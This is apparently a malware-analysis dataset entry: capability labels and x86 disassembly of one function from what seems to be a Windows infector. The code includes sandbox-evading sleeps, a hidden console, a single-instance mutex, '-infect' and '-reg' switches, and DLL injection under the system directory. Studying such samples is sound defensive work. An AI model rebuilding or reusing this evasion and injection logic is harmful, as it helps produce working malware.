Function at 0x401000
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Create thread
Get common file path
Terminate process

Disassembly:
push ebp
sub esp, 0x210
lea ebp, [esp - 4]
mov eax, dword [0x417740]
xor eax, ebp
mov dword [ebp + 0x210], eax
push 0x14
mov eax, 0x412ae1
call fcn.00411c4b
call fcn.00404446
cdq
mov ecx, 0x7d0
idiv ecx
add edx, 0xbb8
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
push ebx
call fcn.00404d4c
push eax
call fcn.00404439
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push ebx
push str.ConsoleWindowClass
mov dword [ebp - 4], ebx
mov dword [0x418d04], eax
call dword [sym.imp.USER32.dll_FindWindowA]
push ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.0x2C
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
cmp esi, ebx
je 0x4010b6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4010b6
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1c], str.Mutex_bereits_vorhanden_
push 0x415ee8
lea eax, [ebp - 0x1c]
push eax
call fcn.0040a64c
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call fcn.00402bde
cmp eax, 1
je 0x401286
cmp dword [ebp + 0x21c], 1
jle 0x401279
mov eax, dword [ebp + 0x220]
mov esi, dword [eax + 4]
push 9
mov edi, str._restart
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x4010fb
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x220]
mov eax, dword [eax + 4]
push 8
mov edi, str._infect
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x40111a
push ebx
call fcn.00402194
push 0xb
mov edi, str._infectdel
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x401279
mov esi, eax
push 5
mov edi, str._reg
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x4011cf
call fcn.0040287c
mov esi, 0x105
push esi
lea eax, [ebp]
push ebx
push eax
call fcn.00407230
add esp, 0xc
push esi
lea eax, [ebp + 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x401180
mov dword [ebp - 0x18], str.GetSystemDirectory__
push 0x415ee8
lea eax, [ebp - 0x18]
jmp 0x4010b0
push 0x414e98
push str.nvmdisp
lea eax, [ebp + 0x108]
push eax
push str._s_s._s
lea eax, [ebp]
push esi
push eax
call fcn.00404d88
lea eax, [ebp]
push eax
call fcn.00402a00
add esp, 0x1c
cmp al, bl
jne 0x4011c4
mov dword [ebp - 0x14], str.Dll_konnte_nicht_injiziert_werden_
push 0x415ee8
lea eax, [ebp - 0x14]
jmp 0x4010b0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x220]
mov esi, dword [eax + 4]
push 6
mov edi, str._reg2
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x4011eb
call fcn.0040287c
push ebx
push ebx
push 0x402c8d
call fcn.00404716
push ebx
push ebx
push 0x4014fd
call fcn.00404716
call fcn.004012ac
push ebx
push ebx
mov esi, 0x4012e3
push esi
call fcn.00404716
add esp, 0x24
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x418d09], bl
je 0x40125e
push 0x104
lea eax, [ebp + 0x108]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
push str._restart
lea eax, [ebp + 0x108]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ebx
call fcn.0040509d
cmp byte [0x418d08], bl
je 0x401218
push ebx
push ebx
push esi
call fcn.00404716
add esp, 0xc
mov byte [0x418d08], bl
jmp 0x401218
push 1
jmp 0x401115
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x210]
xor ecx, ebp
call fcn.00405129
add ebp, 0x214
leave
ret